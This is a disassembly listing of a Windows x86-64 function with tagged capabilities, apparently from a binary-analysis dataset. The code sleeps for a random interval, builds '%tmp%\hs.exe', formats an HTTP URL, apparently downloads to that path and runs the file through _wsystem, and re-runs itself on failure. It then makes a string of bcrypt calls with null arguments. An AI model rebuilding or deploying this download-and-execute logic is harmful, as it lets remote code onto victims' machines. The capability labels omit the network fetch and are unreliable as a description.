Function at 0x402536
Capabilities:
Accept command line arguments
Execute command
Generate random numbers via winapi
Hash data via bcrypt
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x670
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [0x00404060]
add rax, 0x14
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov ecx, dword [rax]
mov r10, rcx
mov rcx, r10
call sub.msvcrt.dll_srand
call fcn.00401509
call sub.msvcrt.dll_rand
mov ecx, 0x200
cdq
idiv ecx
add edx, 0x400
mov eax, 0
mov r11, rax
mov r10, rdx
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SleepEx
mov eax, 0
mov dword [rbp - 0xc], eax
mov eax, dword [rbp + 0x10]
cmp eax, 1
jle 0x4025d1
mov rax, qword [rbp + 0x18]
add rax, 8
mov ecx, 0x10
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov rcx, qword [rax]
mov r10, rcx
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strtol
mov dword [rbp - 0xc], eax
call fcn.0040164d
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0xc]
mov r10, rax
mov rcx, r10
call fcn.004017a5
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x40260d
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x40260d
jmp 0x402644
call sub.kernel32.dll_GetCommandLineW
mov r11, rax
lea rax, [0x004042b2]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.kernel32.dll_GetCommandLineW
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
mov eax, 0
jmp 0x402b1f
mov eax, 0
mov word [rbp - 0x228], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x226]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0
mov word [rbp - 0x430], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x42e]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
lea rax, [0x00404022]
mov r9, rax
lea rax, str.__tmp___hs.exe
mov r8, rax
movabs rax, 0x208
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, 0x104
mov r8, rax
lea rax, [rbp - 0x228]
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsW
lea rax, [rbp - 0x228]
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str.http:___ls_ls______ls_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x228]
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401b07
mov dword [rbp - 0x434], eax
mov eax, 0
mov word [rbp - 0x63c], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x63a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, dword [rbp - 0xc]
add eax, 1
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x228]
mov r9, rax
lea rax, str._s__06x
mov r8, rax
movabs rax, 0x208
mov r11, rax
lea rax, [rbp - 0x63c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, dword [rbp - 0x434]
cmp eax, 0
je 0x402829
call sub.msvcrt.dll_rand
mov ecx, 0x200
cdq
idiv ecx
add edx, 0x400
mov eax, 0
mov r11, rax
mov r10, rdx
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SleepEx
lea rax, [rbp - 0x63c]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
jmp 0x402856
call sub.kernel32.dll_GetCommandLineW
mov r11, rax
lea rax, str.Retrying__ls_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.kernel32.dll_GetCommandLineW
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
lea rax, str.2300017571
mov r11, rax
lea rax, str.Grupa_Sendbajt__User_Id:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x00404357]
mov r11, rax
lea rax, str.d1_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptEnumProviders
lea rax, [0x00404359]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x00404376]
mov r11, rax
lea rax, str.d2_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptEnumRegisteredProviders
lea rax, [0x00404378]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x00404395]
mov r11, rax
lea rax, str.d3_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptFinalizeKeyPair
lea rax, [0x00404397]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004043b4]
mov r11, rax
lea rax, str.d4_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptFinishHash
lea rax, [0x004043b6]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004043d3]
mov r11, rax
lea rax, str.d7_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptGenRandom
lea rax, [0x004043d5]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004043f2]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptHashData
lea rax, [0x004043f4]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x00404411]
mov r11, rax
lea rax, str.dd_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r10, rax
mov rcx, r10
call sub.bcrypt.dll_BCryptRegisterConfigChangeNotify
lea rax, [0x00404413]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x00404430]
mov r11, rax
lea rax, str.de_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptRemoveContextFunction
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret